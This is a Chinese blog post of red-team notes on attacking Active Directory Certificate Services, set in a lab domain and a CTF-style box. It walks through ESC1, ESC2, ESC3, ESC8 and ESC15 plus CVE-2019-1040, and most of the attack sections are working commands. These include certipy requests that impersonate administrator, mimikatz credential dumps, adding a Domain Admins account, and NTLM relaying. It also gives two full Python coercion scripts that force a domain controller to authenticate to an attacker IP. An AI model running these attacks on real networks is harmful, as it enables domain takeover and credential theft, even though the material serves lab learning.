内网渗透技战法-ADCS

ADCS攻击

https://www.cnblogs.com/zpchcbd/p/17608068.html

https://xz.aliyun.com/news/11073

https://yangsirrr.github.io/2021/08/16/adcs-esc1-esc8-gong-ji-fang-shi/#toc-heading-24

ADCS可为域用户和机器账户申请证书。
PKINIT为Kerberos的扩展协议,可通过X.509证书用来获取Kerberos票据。总而言之可以将申请的证书转化为对应的TGT。(域用户转为域用户的TGT,机器账户转为机器账户的TGT)
PKCA扩展协议认证的时候,返回的PAC中包含了NTLM票据。(可以从用户证书中提取ntlm hash)
证书吊销列表(CRL)是在实际或指定的到期日期之前已被颁发证书颁发机构(CA)吊销的数字证书的列表;它是一种阻止列表,其中包含不应再受信任的证书,并由各种端点(包括Web浏览器)使用来验证证书是否有效且值得信赖,并且CRL文件由CA签名以防止篡改。

环境搭建

https://yangsirrr.github.io/2021/08/16/adcs-esc1-esc8-gong-ji-fang-shi/#toc-heading-22

验证域内用户能否查到证书
certutil -config - -ping
& certutil.exe

image-20260411142624-xx6cq0i

image-20260411142735-3xmf3ay

信息枚举

域内:

在安装证书服务的机器上
获得ca名称
(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration").Active 
更多细节信息 
$CAName = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration").Active; Get-Itemproperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\$CAName"

测试联通性

确认NTLM协议(后面中继要用)
curl http://172.16.58.209/certsrv -I

image-20260411145910-w25qkis

域外

已经获得了一个域账号,查看是否有ADCS服务:

certipy find -u zhangsan@xiaorang.lab -p test@123456 -dc-ip 172.16.58.205 -dc-only -stdout

ESC1(EKU 客户端身份验证)

ESC1利用前提条件

  • msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
    表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
  • PkiExtendedKeyUsage: Client Authentication
    表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
  • Enrollment Rights: NT Authority\Authenticated Users
    表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

复制一个模板,重命名为ESCCC1

设置请求证书中请求提供方式为CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

image-20260412205400-2seodky

模板定义了启用认证(客户端身份验证)的EKU:

image-20260412205429-4in8tlt

设置权限允许普通用户注册(Authenticated Users​ or Domain Users​):

image-20260412205448-8cui5ro

之后颁发模板ESCCC1

image-20260411171412-l37qu7m

漏洞利用

查找漏洞

如果报错需要加上 -scheme ldap

certipy find -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -vulnerable -debug  -stdout
certipy find -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -vulnerable -scheme ldap -debug  -stdout

image-20260411170706-aayzojr

image-20260411170817-of4nwl0

针对ESC1模版ECS1请求证书

certipy req -u test@xiaorang.lab -p Mzc@123456 -dc-ip 172.16.58.205 -target 172.16.58.209 -ca "xiaorang-ADCS-CA" -template ESCCC1 -upn administrator@xiaorang.lab

//UPN(用户主体名)user@domain.com(常见于内网证书)

image-20260411171446-oyo8tdm

利用pfx可以直接拿到域管的hash

certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -domain xiaorang.lab

image-20260411171947-vuq6s1w

如果是机器用户就用hash

certipy req -u WIN7@xiaorang.lab -hashes :a8b93c18dada22dcd0a2a54687882c65 -dc-ip 172.16.58.205 -target 172.16.58.209 -ca "xiaorang-ADCS-CA" -template ESCCC1 -upn administrator@xiaorang.lab

hash用mimikatz抓

# 在目标机器上用mimikatz
sekurlsa::logonpasswords
# 或
lsadump::lsa /patch

fpx进行kerberos认证碰到KDC_ERROR_CLIENT_NOT_TRUSTED的问题

image-20260411172121-0mgcuvx

# 获取NT hash(不依赖Kerberos PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -ldap-shell
直接可以新建一个域管理员账号
# add_user xiaoyuer
 
# add_user_to_group xiaoyuer "Domain Admins"

image-20260411172405-b4cymgc

image-20260411172448-4ckwf5s

解决方式

复制Kerberos身份验证​模板,命名为LDAPS,选择允许导出私钥

image-20260418122915-dcqxkp0

去域控win+r输入mmc添加证书 管理单元

image-20260418123020-hiewayk

image-20260418123108-2um219o

申请新证书,选择刚发布的LDAPS证书、

image-20260418123150-1ywdsuw

ESC2(定义无EKU)

ESC2利用前提条件

设置权限允许普通用户注册(Authenticated Users​ or Domain Users​)

应用程序策略EKU为无

image-20260412210115-xor90ak

漏洞利用

查找漏洞

certipy find -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -vulnerable -scheme ldap -debug  -stdout

纯ESC2自证书直接认证,这样是不能提权的,必须搭配其他漏洞比如ESC3来提权

certipy req -u 'test@xiaorang.lab' -p 'T@123456' -ca 'xiaorang-ADCS-CA' -target '172.16.58.209' -dc-ip 172.16.58.205 -template 'ESCCC2' -upn 'test@xiaorang.lab' -out 'test-esc2'
certipy auth -pfx 'F:\Document\Desktop\test-esc2.pfx' -username 'test' -domain 'xiaorang.lab' -dc-ip 172.16.58.205 -ldap-shell

搭配ESC3,Any Purpose / No EKU 的证书在利用上也可以充当 Enrollment Agent

以ESC2为模板申请证书

certipy req -u test@xiaorang.lab -p T@123456  -dc-ip 172.16.58.205  -ca "xiaorang-ADCS-CA" -template ESCCC2 -target 172.16.58.209

若出现CRYPT_E_REVOCATION_OFFLINE​报错,可以hosts里手动添加域控ip或者-ns 172.16.58.209​指定ip

image-20260412210750-ezssgb8

使用test.pfx证书代理申请Administrator证书,注意-on-behalf-of​参数值必须是DOMAIN\USER​的形式

代理申请(on-behalf-of)

certipy req -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -ca "xiaorang-ADCS-CA" -template User -on-behalf-of 'xiaorang\Administrator' -pfx test.pfx -target 172.16.58.209  -debug
certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -domain xiaorang.lab

kali也可以打

image-20260414163355-1bh51ja

报错未配置KDC

certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -domain xiaorang.lab -ldap-shell

# add_user xiaoyuer
 
# add_user_to_group xiaoyuer "Domain Admins"

ESC3(EKU 证书申请代理Certificate Request Agent)

利用前提条件

image-20260413205229-7j5wot0

漏洞利用

certipy req -u test@xiaorang.lab -p T@123456  -target 172.16.58.209 -ca "xiaorang-ADCS-CA" -template ESCCC1
certipy req -u test@xiaorang.lab -p T@123456 -dc-ip 172.16.58.205 -ca "xiaorang-ADCS-CA" -target 172.16.58.209 -template User -on-behalf-of 'xiaorang\administrator' -pfx test.pfx -debug

certipy auth -pfx administrator.pfx -dc-ip 172.16.58.205 -domain xiaorang.lab

image-20260418132108-vxxxdqz

//重启证书服务
net stop certsvc
net start certsvc

区分ESC1、ESC2、ESC3

  • ESC1 的 Enrollee Supplies Subject 去指定别人的 UPN
  • ESC3 的 Certificate Request Agent 去代别人申请
  • ESC2是自证书直接认证

ESC8(adcs relay)

https://yangsirrr.github.io/2021/08/16/adcs-esc1-esc8-gong-ji-fang-shi/#toc-heading-26

https://t0ngmystic.com/sec/ad域-adcs错误配置-esc8/

https://www.cnblogs.com/marksec/p/15600759.html

漏洞利用原因: 由于ADCS的http证书接口没有启用NTLM中继保护,因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议无法使用。因此,攻击者可以利用NTLM Relay攻击ADCS证书服务。

攻击流程

1.通过ntlm_relay,我们获得一个以机器A用户认证的证书

2.我们通过Rubeus asktgt功能用这个证书向AD发起kerberos认证

3.我们获取到TGT并请求目标机器的TGS,获取权限

利用前提条件

ADCS开启Web证书注册服务

curl http://172.16.58.209/certsrv/ -I

image-20260418124400-bww3ptm

漏洞利用

https://www.cnblogs.com/zpchcbd/p/15857942.html

1.查看CA机器:

certutil -config - -ping
或者
certutil  -ca

2.开启ntlmrelayx 监听:

需要将impacket回退到v0.9.24.dev1

certipy-ad relay \
  -target 172.16.58.209 \
  -ca 'xiaorang-ADCS-CA' \
  -template 'DomainController' \
  -interface 172.16.58.202

python3 ntlmrelayx.py -t http://172.16.58.209/certsrv/certfnsh.asp -smb2support --adcs 

python3 ntlmrelayx.py -t http://192.168.3.73/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

image-20260418180847-8k6g3i4

解决将impacket回退到v0.9.24.dev1

3.触发回连

域内

ADCSPwn.exe --adcs ADCS.red.lab --remote DC2012.red.lab

域外

使用脚本触发辅助域控回连我们的攻击机器,这里可以使用最新的Petitpotam.py,也可以使用printerbug.py

1.PetitPotam

python3 PetitPotam.py Relayip DCip
python3 PetitPotam.py 172.16.58.209 172.16.58.205
python3 dfscoerce.py -u test -d xiaorang.lab 192.168.75.158 192.168.75.202

脚本如下:

#!/usr/bin/env python3
# petitpotam_trigger.py
# 强制 DC01 向攻击机 172.16.58.203 发起 NTLM 认证
# 依赖: impacket (pip install impacket)

import sys
sys.path.insert(0, '/usr/lib/python3/dist-packages')

from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin

# ===== 配置 =====
DC_IP       = '172.16.58.205'
ATTACKER_IP = '172.16.58.202'  #kali的ip
USERNAME    = 'test'
PASSWORD    = 'T@123456'
DOMAIN      = 'xiaorang.lab'
PIPE        = 'lsarpc'   # 可选: lsarpc / samr / netlogon
# ================

class DCERPCSessionError(DCERPCException):
    def __str__(self):
        key = self.error_code
        if key in system_errors.ERROR_MESSAGES:
            return 'EFSR SessionError: code: 0x%x - %s - %s' % (
                self.error_code,
                system_errors.ERROR_MESSAGES[key][0],
                system_errors.ERROR_MESSAGES[key][1]
            )
        return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code

class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
    align = 1
    structure = (('Data', '20s'),)

class EfsRpcOpenFileRaw(NDRCALL):
    opnum = 0
    structure = (
        ('fileName', WSTR),
        ('Flag', ULONG),
    )

class EfsRpcOpenFileRawResponse(NDRCALL):
    structure = (
        ('hContext', EXIMPORT_CONTEXT_HANDLE),
        ('ErrorCode', ULONG),
    )

class EfsRpcEncryptFileSrv(NDRCALL):
    opnum = 4
    structure = (('FileName', WSTR),)

class EfsRpcEncryptFileSrvResponse(NDRCALL):
    structure = (('ErrorCode', ULONG),)

BINDING_PARAMS = {
    'lsarpc':   {'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]'   % DC_IP,
                 'uuid': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')},
    'samr':     {'stringBinding': r'ncacn_np:%s[\PIPE\samr]'     % DC_IP,
                 'uuid': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')},
    'netlogon': {'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % DC_IP,
                 'uuid': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')},
}

def connect(pipe):
    params = BINDING_PARAMS[pipe]
    rpctransport = transport.DCERPCTransportFactory(params['stringBinding'])
    rpctransport.set_credentials(USERNAME, PASSWORD, DOMAIN, '', '')
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(uuidtup_to_bin(params['uuid']))
    return dce

def trigger(dce, listener):
    # 尝试 EfsRpcOpenFileRaw
    try:
        req = EfsRpcOpenFileRaw()
        req['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
        req['Flag'] = 0
        dce.request(req)
    except Exception as e:
        if 'ERROR_BAD_NETPATH' in str(e):
            print('[+] Got ERROR_BAD_NETPATH — coerce succeeded!')
            return True
        if 'rpc_s_access_denied' in str(e):
            print('[!] EfsRpcOpenFileRaw denied, trying EfsRpcEncryptFileSrv...')
            try:
                req2 = EfsRpcEncryptFileSrv()
                req2['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
                dce.request(req2)
            except Exception as e2:
                if 'ERROR_BAD_NETPATH' in str(e2):
                    print('[+] EfsRpcEncryptFileSrv coerce succeeded!')
                    return True
        print(f'[-] Failed: {e}')
        return False

if __name__ == '__main__':
    print(f'[*] Connecting to DC01 ({DC_IP}) via pipe \\{PIPE}')
    for pipe in ['lsarpc', 'samr', 'netlogon']:
        try:
            dce = connect(pipe)
            print(f'[+] Connected via {pipe}')
            result = trigger(dce, ATTACKER_IP)
            if result:
                print(f'[+] Coerce triggered via {pipe}! Check relay log.')
                break
        except Exception as e:
            print(f'[-] {pipe}: {e}')

2.printerbug(需要应该域内的用户账户)

python3 printerbug.py 172.16.58.205 172.16.58.209

脚本如下:

#!/usr/bin/env python3
# printerbug_trigger.py
# 利用 MS-RPRN PrinterBug 强制目标 DC 向攻击机发起 NTLM 认证
#
# 前置条件:
#   1. 攻击机必须监听 135 端口(RPC Endpoint Mapper)
#   2. 攻击机必须监听 445 端口(certipy relay 或 responder)
#
# 用法:
#   python3 printerbug_trigger.py
#
# 依赖: impacket (pip install impacket)

from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.dtypes import NULL

# ===== 配置 =====
DC_IP       = '172.16.58.205'
DC_HOSTNAME = 'DC01.xiaorang.lab'
ATTACKER_IP = '172.16.58.202'
USERNAME    = 'test'
PASSWORD    = 'T@123456'
DOMAIN      = 'xiaorang.lab'
# ================


def trigger_printerbug(dc_ip, dc_hostname, username, password, domain, attacker_ip):
    print(f'[*] Connecting to {dc_hostname} ({dc_ip}) via \\pipe\\spoolss')

    # 连接 DC 的 spoolss named pipe
    rpctransport = transport.DCERPCTransportFactory(
        r'ncacn_np:%s[\pipe\spoolss]' % dc_ip
    )
    rpctransport.set_credentials(username, password, domain, '', '')
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(rprn.MSRPC_UUID_RPRN)
    print(f'[+] Bound to MS-RPRN')

    # 打开打印机句柄
    # 注意: 必须用主机名格式 \\DC01.xiaorang.lab\,不能用 IP
    printer_name = '\\\\%s\x00' % dc_hostname
    print(f'[*] Opening printer: {printer_name.strip(chr(0))}')
    resp = rprn.hRpcOpenPrinter(dce, printer_name)
    handle = resp['pHandle']
    print(f'[+] Got printer handle')

    # 触发回调
    # pszLocalMachine 设置为攻击机 IP,DC 的 Spooler 会向此地址发起 NTLM 认证
    # DC 回调前会先连攻击机 135 协商 RPC 端口,所以攻击机必须监听 135
    print(f'[*] Sending RpcRemoteFindFirstPrinterChangeNotificationEx')
    print(f'[*] DC will callback to: \\\\{attacker_ip}')
    try:
        rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
            dce,
            handle,
            rprn.PRINTER_CHANGE_ADD_JOB,
            pszLocalMachine='\\\\%s\x00' % attacker_ip,
            fdwOptions=0
        )
        print('[+] PrinterBug triggered successfully!')
    except Exception as e:
        err = str(e)
        # RPC_S_SERVER_UNAVAILABLE (0x6ba) 是正常现象
        # DC 完成回调后关闭连接时返回此错误,不影响攻击效果
        if '0x6ba' in err or 'SERVER_UNAVAILABLE' in err:
            print(f'[+] Got RPC_S_SERVER_UNAVAILABLE — this is expected!')
            print(f'[+] DC01 has completed the callback, check relay log.')
        elif '0x5' in err or 'access_denied' in err:
            print(f'[-] Access denied — user lacks permission for this RPC call')
            print(f'[-] Try using a higher-privileged account or switch to PetitPotam')
        elif '0x709' in err or 'INVALID_PRINTER_NAME' in err:
            print(f'[-] Invalid printer name — use hostname format not IP')
        else:
            print(f'[-] Unexpected error: {e}')

    # 关闭句柄
    try:
        rprn.hRpcClosePrinter(dce, handle)
    except Exception:
        pass


if __name__ == '__main__':
    trigger_printerbug(
        DC_IP, DC_HOSTNAME,
        USERNAME, PASSWORD, DOMAIN,
        ATTACKER_IP
    )

之后利用pfx可以直接拿到域管的hash

certipy auth -pfx dc01.pfx -dc-ip 172.16.58.205

image-20260418181509-n37kq5q

CVE-2019-1040

在有辅助域的内网中,利用NTLM中继加RBCD基于资源的约束委派

新建机器用户
python3 addcomputer.py -method LDAPS -computer-name 'evilpc$' -computer-pass 'Password123' 'XIAORANG/test:T@123456'

ntlmrelayx.py -t ldap://域控ip -smb2support --remove-mic --delegate-access --escalate-user evilpc$ -debug


python3 PetitPotam.py    172.16.58.201   172.16.58.205 
python3 PetitPotam.py -u test -p 'T@123456' -d xiaorang.lab 中继机器ip   辅助域控DC02的ip

python3 getST.py -dc-ip 192.168.4.11 xiaorang/evilpc$:123456 -spn cifs/DC02 -impersonate administrator

ESC15

certipy-ad find -dc-ip 10.10.11.72 -ns 10.10.11.72 -target dc01.tombwatcher.htb -u john -p 'Password@123' -vulnerable -stdout

模板权限中出现未知SID(S-1-5-21-1392491010-1358638721-2126982587-1111),推测为被删除的ADCS管理员账户。

枚举被删除对象,确认cert_admin的ObjectGUID:

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent

恢复cert_admin账户并修改密码:

Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf  # ObjectGUID对应值
Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString 'Password@123' -AsPlainText -Force)

恢复后获取cert_admin凭据:用户:cert_admin,密码:Password@123

ESC15漏洞利用:注入应用程序策略生成高权限证书
利用certipy-ad req工具,以cert_admin身份向WebServer模板(Schema V1)申请证书,并注入“Certificate Request Agent”应用程序策略——该策略允许证书代表其他用户申请新证书:

certipy-ad req -u cert_admin -p 'Password@123' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'

执行后生成administrator.pfx文件(包含证书与私钥 ),重命名为cert_admin.pfx备用。

生成域管理员证书与TGT
基于注入策略的证书,进一步申请User模板证书(常规用户登录模板),并指定“代表域管理员(administrator)申请”:

certipy-ad req -u cert_admin -p 'Password@123' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'

生成新的administrator.pfx文件,使用certipy-ad auth工具通过该证书获取域管理员的TGT(票据授予票据)与NTLM哈希:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72

工具输出域管理员administrator的NTLM哈希(如aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc)

posted @ 2026-04-21 21:12  m1xian  阅读(52)  评论(0)    收藏  举报